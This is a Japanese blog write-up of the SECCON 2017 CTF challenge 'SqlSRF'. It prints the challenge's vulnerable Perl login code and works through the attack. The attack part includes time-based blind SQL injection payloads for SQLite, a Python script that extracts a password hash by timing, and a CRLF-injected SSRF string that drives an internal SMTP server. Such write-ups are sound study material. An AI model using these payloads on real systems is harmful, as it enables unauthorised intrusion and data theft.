SECCON 2017 Online CTFに参加しました
12/9~12/10に開催したSECCON 2017 Online CTFに参加いたしました! vulsというチームで参加して、最終結果は46位でした。 私はWeb問をメインで担当していました。
今回はちょっと日曜日に所用があったため、残念ながらフル参戦できなかったのですが、久々にオフラインで集まって、昨年と同じようにレッドブル片手にピザを食べながらCTFをやることができてすごく楽しかったです!
折角なので、少ないのですが私が解いた問題のWrite UPについて今回ブログに書こうかと思います。
SqlSRF (400 points)
今回私が解いたのは「SqlSRF」という問題です。 問題名からして、見た瞬間に多分SQLインジェクションとSSRFをさせる問題なんだろうなと推測しましたが、結果的にいうとその通りの問題でした。
問題には、以下のような記載があって、URLが記載されています。
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
flagを獲得するにはどうやらrootにメールを送らなければならないようですね。
記載されたURLにアクセスすると、以下のようにcgiが配置してあるディレクトリインデックスが表示されます。
「index.cgi」や「menu.cgi」にアクセスすると、以下のようにログイン画面が表示されます。
「index.cgi_backup20171129」にアクセスすると、以下のように「index.cgi」のソースコードが表示されます。
#!/usr/bin/perl use CGI; my $q = new CGI; use CGI::Session; my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'}); $s->expire('+1M'); require './.htcrypt.pl'; my $user = $q->param('user'); print $q->header(-charset=>'UTF-8', -cookie=> [ $q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef) ]), $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black'); $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne ''); my $errmsg = ''; if($q->param('login') ne '') { use DBI; my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB'); my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';"); $errmsg = '<h2 style="color:red">Login Error!</h2>'; eval { $sth->execute(); if(my @row = $sth->fetchrow_array) { if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) { $s->param('autheduser', $q->param('user')); print "<scr"."ipt>document.location='./menu.cgi';</script>"; $errmsg = ''; } } }; if($@) { $errmsg = '<h2 style="color:red">Database Error!</h2>'; } $dbh->disconnect(); } $user = $q->escapeHTML($user); print <<"EOM"; <!-- The Kusomon by KeigoYAMAZAKI, 2017 --> <div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;"> </div> <div style="position:relative;top:300px;color:white;text-align:center;"> <h1>Login</h1> <form action="?" method="post">$errmsg <table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;"> <tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr> <tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr> <tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr> <tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr> </table> </form> </div> </body> </html> EOM 1;
43行目の以下の作成者の表記を見て、「今年も来たか…」と思わず気合がはいりました。
また、「色々一回転してとうとう〇ソ問というのを前面に押し出すようになったのか…」とか、「問題が公開された直後にアクセスできなかった時はさぞかし冷や汗ものだったのだろうなあ…」とか、色々なことが頭をよぎりつつ問題に取り組みました。
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
前半戦(SQLインジェクションのパート)
まず、着目するのは以下の部分でしょうか。
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
上記23行目のコードをみるとuserパラメータの値をSELECT文の中に思いっきり突っ込んでいるので、ここでSQLインジェクションできそうだなと推測できます。
またSELECT文を用いてusersテーブルからDB上のpasswordの値を取得していますね。
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
続いて上記28行目のコードをみると、ユーザが入力したpassパラメータの値を何かの方法で暗号化した後に、取得したDBの値と比較しているようです。
二つの値が一致した場合にログインさせるような実装となっています。
DBに格納されているパスワードの値は暗号化されているようですね。
また、この実装だと、単純にor文などをインジョクションしてもログインのバイパスはできそうもないですね。
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
上記17行目のコードをみると「Remember Me」にチェックをいれてアクセスした際にセットされる、rememberというcookieの値を復号してユーザパラメータにセットしていることがわかります。
こちらの処理を利用すれば、暗号化された値を復号することができそうです。
というわけで、Blind SQLインジェクションを実行して、どうにか暗号化されたパスワードの値を引っこ抜ければ、ログインできるのではないかと推測がつきます。
では次にどうやって情報を引っこ抜くかですが、色々試した結果、SQLの構文として不成立な場合には「Database Error!」とのみ表示されるだけであり、SQL文の結果が真・偽でも一律「Login Error!」とのみ表示されるだけなので、エラー応答からのBlind SQLインジェクションは厳しそうなことが分かります。
というわけで、利用するのはTime-based SQLインジェクションなのかなと推測しました。
山崎さんの作問なので、別に自動的に分かるのですが、コード中にDBMSは「SQLite」を利用している記載があります。
SQLiteでのTime-based SQLインジェクションについてはよく知らなかったので、ちょっと調べてみると以下のサイトに情報がありました。
GitHub - unicornsasfuel/sqlite_sqli_cheat_sheet: A cheat sheet for attacking SQLite via SQLi
SQLiteでは、乱数を生成するrandomblob関数を利用して、Time-based SQLインジェクションをすることができるようです。
今回の問題でも例えば以下のような感じでパラメータを送信してやると、条件が真の場合にはレスポンスが遅くなるので、Time-based SQLインジェクションをできることを確認しました。
user=' or randomblob(200000000) and 'a'='a
とりあえず、ダメ元でSQLmapとかもかけてもみましたが、まあ案の定ダメだったので、あきらめておとなしくコードを書くことにいたしました。
引っこ抜くパスワードの文字長は以下のような値を送信した際に遅くなることから32文字であることが分かります。
user=' or length((select password from users limit 1 offset 0)) = 32 and randomblob(200000000) and 'a'='a
力技であんまり綺麗じゃないですが以下のようなコードを今回書いてみました。
# -*- coding: utf-8 -*- import re import requests import sys import time def genQuery(i,j): query = "user=' or substr((select password from users limit 1 offset 0),"+str(i)+",1) = '"+str(j)+"' and randomblob(300000000) and 'a'='a&pass=test&login=Login" return query def attack(url): encpass = "" cmpchar = [chr(i) for i in range(97, 97+26)] cmpchar.extend([chr(i) for i in range(48, 48+10)]) for i in range(1, 33): print (str(i)+":", end="") for j in cmpchar: payload = genQuery(i,j) start = time.time() res = requests.post(url, data=payload, verify=False) if (time.time() - start) > 2: print (j) encpass = encpass + j break time.sleep(0.5) print(encpass) def main(): url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi' attack(url) if __name__ == '__main__': main()
実行してやるとしばらく時間がかかりますが、暗号化されたパスワード文字列が以下であることが判明します。
d2f37e101c0e76bcc90b5634a5510f64
上記の値をrememberというcookieの値にセットしてアクセスしてあげると
以下のようなパスワードの値が判明しました。
Yes!Kusomon!!
この〇〇クリニックのような文字列を見た時に改めて、ちゃんと問題解けたら次の飲み会では「面白かったですよ」と言ってあげようと思いました。
useridをadminで、上記パスワードでログインしてあげるとログイン後のページに遷移します。
後半戦(SSRFのパート)
さて、ここまでがSQLインジェクションのパートで、後半はSSRFのパートです。
ログインをすると以下のような画面に遷移します。
画面には二つボタンが存在し、このボタンを押すことで「netstat」と「wget」のコマンドをサーバ側で実行することができるようになっていることが分かります。
以下の情報よりこの問題はSSRFを利用してサーバ側にメールを送信するんだろうなと推測しました。
- flagを獲得するにはrootにメールを送る必要がある
- サーバ側に25番ポートがListenしている
- 問題名がモロそれ
wgetの送信パラメータに、以下のような値を指定してボタンを押すと
127.0.0.1:25
という風にメールサーバの応答結果が表示されることが確認できました。
で、次にどのようにこのメールサーバ対してコマンドを送信してやるかですが、そちらの手法に関しては、Black Hat USA 2017や今年のCODE BLUEでも発表があったOrange Tsaiさんの資料が超参考になります。
詳しくは上記の資料を読めば分かりますが、HTTPプロトコル中に改行コードをインジェクションさせることによって、SMTPプロトコルを操作する手法について記載があります。
上記資料ではwgetはホスト部分にて改行コードの挿入が可能との記載がありましたので、試しに以下のような値を指定して送信してみると
127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0A:25
という風にSMTPプロトコルを操作できていることが確認できます。
というわけで、以下のようにroot宛にメールを送信するように文字列を細工してあげます。
問題文に書かれているようにちゃんとsubjectを"give me flag"としてやる必要があります。
127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0Amail%20from%3A%20tigerszk%40example.com%0D%0Arcpt%20to%3A%20root%40ymzk01.pwn%0D%0Adata%0D%0Asubject%3Agive%20me%20flag%0D%0A.%0D%0Aquit%0D%0A:25
メールサーバ側で正常処理されたような応答が返れば、fromに指定したメールアドレス宛に以下のような値が書かれたメールが届きます。
Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19
上記の値を前半戦でDBから引っこ抜いた値と同じようにrememberというcookieの値にセットしてアクセスしてあげると
という風に見事以下のflagをゲットすることができました。
SECCON{SSRFisMyFriend!}
まとめ
まあ、実際はこんなポンポンいけたわけではなく、ウンウンうなりながらやった感じです。
特に後半戦のSSRFの部分では、ちょっと色々ハマってしまい、チーム内で相談したらチームのSuper CTFerの方にあっさり追い抜かれてしまい、「結構頑張ってここまでやったので、ちょっと僕に時間をください」と頼み込む醜態をさらしてしまったので、もうちょっと色々頑張ろうと思いましたw
ということで、今年も非常に楽しんでCTFをすることができました!
運営の方々本当にありがとうございました。
PS
山崎さん、楽しかったです!良問でしたよw